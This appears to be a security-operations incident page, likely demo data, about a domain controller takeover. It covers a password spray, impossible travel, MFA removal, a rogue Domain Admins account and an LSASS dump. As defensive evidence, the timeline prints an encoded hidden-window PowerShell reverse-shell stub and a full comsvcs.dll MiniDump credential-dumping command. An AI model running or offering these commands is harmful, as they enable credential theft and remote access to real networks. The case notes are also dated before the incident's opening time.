Domain account takeover with credential dumping on WIN-DC01
A password spray from 185.100.200.50 (Lahore, PK) preceded a successful interactive logon as jsmith from the same address, 41 minutes after that account authenticated from Chicago. The session then removed the account's second factor, created a Domain Admins member, executed an encoded PowerShell block and dumped LSASS memory to disk.
Opened 7d ago · 2026-09-04 14:45:29Z
Automated analysis
Generated at triage · 94% confidence
A domain account has been taken over from an external address and used to establish persistent privileged access. Credential material has been written to disk, so the blast radius extends beyond the compromised account to every credential cached on the domain controller.
Attack narrative
The source address failed authentication against 24 distinct accounts over roughly twelve minutes, then authenticated successfully as jsmith. Because that account had authenticated from Chicago 41 minutes earlier, the two logons are geographically irreconcilable. The session removed the account's registered authenticator, which both establishes persistence and denies the legitimate owner a recovery path. It then created svc_helpdesk_tmp and placed it in Domain Admins, giving the intruder an identity that survives a password reset on jsmith. Finally an encoded PowerShell block ran with a hidden window and lsass.exe memory was dumped via comsvcs.dll, indicating the operator intends to harvest additional credentials for lateral movement.
Why this severity
Risk 96. Impossible travel (+22), password spray from the same source (+14), second-factor removal (+18), Domain Admins membership change (+22), encoded interpreter execution (+10), LSASS memory dump (+10). The credential dump is what moves this from a single-account compromise to a domain-level event.
MITRE ATT&CK
- T1110.003
- T1078.002
- T1556
- T1098
- T1059.001
- T1003.001
Credential Access → Privilege Escalation → Persistence → Execution
Recommended next steps
- 1.Isolate WIN-DC01 from the network before the dump is exfiltrated
- 2.Treat every credential cached on WIN-DC01 as compromised and force a domain-wide reset
- 3.Delete svc_helpdesk_tmp and audit Domain Admins for other unexpected members
- 4.Reset jsmith, revoke all Kerberos tickets and re-enrol the second factor out of band
- 5.Block 185.100.200.50 at the perimeter and hunt for the same address across all sources
- 6.Rotate the krbtgt account twice to invalidate any forged tickets
Ask AI Analyst
Attack timeline
5 correlated events, oldest first.
- 01 / Authentication SuccessHigh
Kerberos TGT issued for jsmith from 185.100.200.50 (logon type 10, RDP) — prior successful logon for this account originated in Chicago, USA 41 minutes earlier
WIN-DC01user jsmithsrc 185.100.200.50host WIN-DC01Lahore, Pakistan - 02 / Mfa Method RemovedHigh
Second-factor method 'Authenticator app' removed from account jsmith
WIN-DC01user jsmithsrc 185.100.200.50host WIN-DC01Lahore, Pakistan - 03 / User CreatedCritical
Account 'svc_helpdesk_tmp' created by jsmith and added to group 'Domain Admins'
WIN-DC01user jsmithsrc 185.100.200.50host WIN-DC01Lahore, Pakistan - 04 / Process ExecutionHigh
Encoded PowerShell command block executed with hidden window and execution policy bypass
powershell.exe -nop -w hidden -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAA=
CrowdStrike Falconuser jsmithsrc 185.100.200.50host WIN-DC01powershell.exe - 05 / Credential AccessCritical
Process memory of lsass.exe dumped to disk via comsvcs.dll MiniDump
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump 624 C:\ProgramData\ls.dmp full
CrowdStrike Falconuser jsmithhost WIN-DC01rundll32.exe
Case notes
Analyst commentary recorded against this incident.
- ·2026-09-04 14:41Z
Confirmed with the service desk that jsmith was on site in Chicago at the time of the Lahore logon. Impossible travel is genuine, not a VPN artefact.
- ·2026-09-04 14:35Z
ls.dmp is still present on disk at C:\ProgramData. No outbound transfer of that file observed on the firewall yet, so containment may still be ahead of exfiltration. Prioritising host isolation.
- ·2026-09-04 14:29Z
Approved emergency krbtgt double-rotation. Change window waived under IR policy 4.2.
Case detail
- Status
- Investigating
- Severity
- Critical
- Risk
- 96
- Assignee
- Analyst
- Opened
- 2026-09-04 14:45Z
- Last updated
- 7d ago
One-click containment
Automations targeted at this incident's own evidence.
Response playbook
Procedures worked step by step, with each completion recorded.
No playbook attached. Attaching one records each step as it is completed, so progress survives a shift change.
Containment
Runs in simulation. Nothing contacts a production control plane; every attempt is recorded.
Response history
Actions already taken on this case.
- SimulatedBlock Ip185.100.200.50Analyst · 7d ago
- SimulatedDisable AccountjsmithAnalyst · 7d ago